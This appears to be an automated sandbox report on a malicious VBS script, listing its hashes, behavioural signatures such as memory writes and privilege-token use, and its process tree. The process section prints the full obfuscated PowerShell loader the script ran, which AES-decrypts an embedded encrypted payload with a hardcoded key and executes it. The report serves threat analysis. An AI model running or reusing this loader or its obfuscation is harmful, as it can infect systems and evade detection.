Analysis
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max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
27-07-2024 01:36
Static task
static1
Behavioral task
behavioral1
Sample
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs
Resource
win10v2004-20240709-en
General
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Target
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs
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Size
409KB
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MD5
94734cb139b6b9025fd8a1acc56027db
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SHA1
b385368bcaadaca073849a413660b68e690ffba5
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SHA256
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08
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SHA512
58e0064f4b304b5503c4a7e689d96cc62bac4bc8ee76d39fede408b9e777b9602334dad4e1570fa0b9e0c363e7d8ee419a41d4da02493d174d61f96acca4053f
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SSDEEP
3072:FHGhwf2YFbhNe4VTdRnTT8w4TW7HqOOgVpp20KeLS7lixg36t+v4pNdS7ES:0wf2YFZHqf
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 2524 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2524 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2524 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 2076 wrote to memory of 2524 2076 WScript.exe powershell.exe PID 2076 wrote to memory of 2524 2076 WScript.exe powershell.exe PID 2076 wrote to memory of 2524 2076 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524